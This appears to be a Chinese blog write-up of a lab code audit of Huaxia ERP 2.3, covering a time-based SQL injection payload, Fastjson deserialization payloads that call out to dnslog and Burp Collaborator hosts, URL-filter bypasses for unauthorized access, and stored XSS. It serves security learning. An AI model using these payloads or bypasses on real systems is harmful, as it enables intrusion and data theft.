JAVA代码审计 华夏ERP

前言

早就写的一篇文章,只是因为处于迷茫期很多积攒的没有发。而且感觉搭在服务器上不如搭在github上,等这回服务器到期了就换个地方。

环境搭建

审的是这个版本的华夏ERP2.3 现在改名叫jsherp了,虽然版本老但是不妨碍成为学习审计代码的一个好例子

image-20241229111847411

将sql导入后,配置一下相关文件就可以了

image-20241229112205160

代码审计

审计准备

看readme

能让自己对这个项目有个大概的了解,构造出一个前期审计代码的大致侧重点。

image-20241229115256964

侧重点:审sql注入时就要注意$符号了,并且可能存在log4j漏洞

看pom

image-20241229115635170

image-20250103215926828

有可能存在fastjson的漏洞但是并没有引入log4j-core所以不存在log4j的漏洞

看filter

学习filter内存马的时候就了解过filter了

直接到doFilter那里

image-20241229121609814

主要对四个内容处理

是否登录

放行register.html,login.html,doc.html这些的业务

放行自己允许的一些页面,这个在初始化时候有定义通过#分割

image-20241229122110059

但是我们发现

image-20241229122453224

他对这个放行的页面处理似乎有些问题,用的是startsWith()对URL进行判断是否是白名单的那些,那么就可以通过目录穿越来未授权访问其他页面了,等会在测试的时候留意一下这里。

审计

先去找我们刚才留下的疑惑点入手。

sql注入

因为用的是mybatis,所以直接在mapper里搜索$

image-20250102202943650

发现很多都是用的$来编写的sql语句,所以我们可以换种思路,搜索容易出现sql注入的关键字比如'like'。

image-20250102203045148

找到对应的MapperEx文件(MapperEx文件一般用来封装复杂sql语句与主 Mapper 分离,避免 Mapper 变得臃肿)

image-20250102203119236

再找到对应的Service

image-20250102203134694

一直可以往上找一般我的思路就是mapper->service->controll

发现最后到了ResourceController不应该是RoleController么,接下来就是黑白盒结合去探究了(其实这里如果是开发经验够足的化肯定就懂了,后面查阅一下ResourceController的作用)

image-20250102203310849

RoleService这里打断点调试

image-20250102203830189

很明显后台有个角色管理这会走到这里

image-20250102203901361

隐约就可以才到那个角色名称应该就是name参数了,抓个包看看

image-20250102204146758

看后台断点

image-20250102204232056

可以看到确实如我们推断

尝试进行语句拼接

{"name":"aaa' or sleep(3)-- ="}

url编码一下

image-20250102204812022

image-20250102204835144

发现执行成功

后台也能看到记录

image-20250102205251592

查倒是不好查,直接by GPT了

ResourceController 的主要作用包括:

  1. 管理和分发静态资源。

  2. 处理与资源相关的 RESTful API 操作。

  3. 作为资源代理,为客户端提供统一的资源访问接口。

  4. 实现资源访问的权限控制和安全性。

简显易懂,那其实很多语句只要参数可控都可以类似这个流程sql注入了,像like基本就是搜索功能了,其他的内容有兴趣可以自行探索。

fastjson

刚才我们在看pom的时候发现用的fastjson版本是存在漏洞的,现在全局搜索以parseObject

image-20250104202200594

先找这种没有限定类的,然后去测试参数是否可控

有兴趣的师傅可以多去尝试几个,有练习意义

半场开香槟版

这里就写一下其中一个测试的

image-20250104203048486

跟踪一下这个

image-20250104203222112

推测应该是商品的添加功能,也可以去数据库看看数据,我的方法是这样定位的

这里

image-20250104204450949

添加到forward到这个包

image-20250104204545269

看到了javabean的数据

image-20250104205705590

看到这里的时候都要半场开香槟了

image-20250104205907045

构成payload看看检测一下先,放一下很多Nbccccc/Fastjson-Payload: Fastjson姿势技巧集合fork这位师傅的safe6Sec/Fastjson: Fastjson姿势技巧集合

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://n9z7x6.dnslog.cn"}}""}}

但是并没有发生期待的结果,显示很骨感

image-20250104210717930

发现上面还有个JSONObject.parseObject(beanJson, Material.class)

image-20250104210845064

当然是加载不了的腻,看了眼Material也没有什么能用的getter、setter方法所以就寄掉了,最开始没注意上面,被上面截胡了。删到那一行就可以了,当然不可能开发出来让你打的oopz。

但是有一说一试了一下这里fastjson版本要是低一点就可以打了,有兴趣的师傅可以试一下

image-20250105220636152

言知之易,行之难 多找找没准就又发现什么了呢xixi

成功版

找到JSONObject.parseObject(search)

image-20250104214359109

看到就直接恍然大悟,这个erp也调试到这里了,search这个参数经常在包里见到,直接白盒结合黑盒,去前面随便搜索一下到这个search参数。

image-20250104214703205

image-20250104214721214

直接上payload

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://h1jqa9iuj1mc266l0hei9kfnye45su.burpcollaborator.net"}}""}}

image-20250104215525842

成功

想要rce需要开启一下autoTypeSupport(ParserConfig.getGlobalInstance().setAutoTypeSupport(true);),或者Feature.SupportNonPublicField参数等

未授权访问

这里就算filter里对访问目录控制的部分了,分为ignoredUrls,allowUrls

ignoredUrls

首先经过的ignoredUrls的处理,这里自定义一个verify函数来处理

image-20250220170651734

会将读取的url拼接匹配符例如^.*regex.*$只要存在regex就返回true

那很明显我们只要让读取的url里存在ignoredLists里的内容,并且访问的是我们指定的url就行了

那如何构造呢,这里我想到了有时候可以看到访问的url为xxx.com/xxx;jsession=xxx

;后面会被容器处理掉的

image-20250220171408588

allowUrls

image-20250220171527036

这里则是以allowUrls开头就允许访问

把获取的url打印出来是这样的

image-20250220171440081

那我们就可以这样了

image-20250220171643455

image-20250220171652148

XSS

因为filter里并没有对XSS做什么特殊处理,所以有很多页面存下来的内容都成了存储型XSS

image-20250220172433781

image-20250220172907123

image-20250220173138727

log4j2

image-20250220173548765

没找到

参考资料

https://drun1baby.top/2022/09/30/Java-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E5%8D%8E%E5%A4%8F-ERP-CMS-V2.3/